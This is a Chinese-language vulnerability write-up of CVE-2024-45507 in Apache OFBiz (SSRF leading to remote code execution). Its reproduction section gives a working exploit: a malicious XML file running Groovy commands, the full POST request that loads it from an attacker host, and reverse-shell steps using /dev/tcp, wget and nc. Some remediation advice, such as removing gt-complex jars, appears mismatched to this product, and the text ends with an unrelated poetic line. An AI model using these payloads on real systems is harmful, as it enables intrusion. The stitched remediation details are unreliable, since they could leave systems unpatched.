1. 漏洞概述
漏洞名称:Apache OFBiz 服务端请求伪造(SSRF)导致远程代码执行(RCE)
漏洞编号:CVE-2024-45507
CVSS评分:9.8(高危)
影响范围:Apache OFBiz < 18.12.16
漏洞类型:SSRF → RCE
披露时间:2024年9月
漏洞根源:
Apache OFBiz 在处理 Groovy 脚本和 XML 模板时,未对用户输入的 URL 路径进行有效验证,导致攻击者可构造恶意请求加载远程 XML 文件,通过 groovy
表达式执行任意系统命令
2. 漏洞分析
(1)技术原理
触发路径:通过
/webtools/control
接口(如/forgotPassword/StatsSinceStart
)发送 POST 请求,注入statsDecoratorLocation
参数指向远程恶意 XML 文件关键代码缺陷:
GroovyUtil
和ScriptUtil
类未校验valueReference
参数,允许加载远程资源commons-jxpath
库解析 XML 时未限制反射调用,导致groovy
表达式执行命令
(2)攻击流程
构造恶意 XML 文件,嵌入 Groovy 代码(如
Runtime.getRuntime().exec("命令")
)通过 POST 请求将
statsDecoratorLocation
参数指向该 XML 文件的 URL(如http://攻击者IP/poc.xml
)服务端解析 XML 并执行其中代码,实现 RCE。
3. 漏洞复现
(1)、部署恶意文件1.xml
python3 -m http.server 8889
# 1.xml
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set value="${groovy:'touch /tmp/awesome_poc'.execute();}"/>
</actions>
</section>
</screen>
</screens>
(2)、构造恶意请求,解析1.xml执行恶意代码
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://<attacker-ip>/1.xml
(3)、更改1.xml中的命令,反弹shell
- 部署shell.sh
echo "/bin/bash -i >& /dev/tcp/<attcker-ip>/8888 0>&1" > shell.sh
- 下载shell.sh
${groovy:'wget <attcker-ip>/shell.sh'.execute();}
- 运行shell.sh
nc -lvvp 8888
${groovy:'bash shell.sh'.execute();}

4. 修复方案
(1)官方修复
- 升级至 18.12.16:修复了
GroovyUtil
和ScriptUtil
类的 URL 加载逻辑,限制外部资源加载 - 补丁原理:
- 新增输入校验,禁止包含
java.lang
等危险关键字 - 使用安全方法
JXPathUtils.newSafeContext()
替代原始解析逻辑
- 新增输入校验,禁止包含
(2)临时缓解
- 删除漏洞依赖:移除
WEB-INF/lib/gt-complex-*.jar
(可能影响部分功能) - 网络防护:
- 配置 WAF 拦截包含
exec
、groovy
或Runtime.getRuntime()
的请求 - 限制
/webtools/control
接口的访问权限
- 配置 WAF 拦截包含
(3)检测与响应
- 工具支持:
- 奇安信天眼、深信服云镜等产品已提供漏洞扫描和攻击流量拦截功能
- 开源工具如 Apache OFBizExploit 可自动化检测漏洞
梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。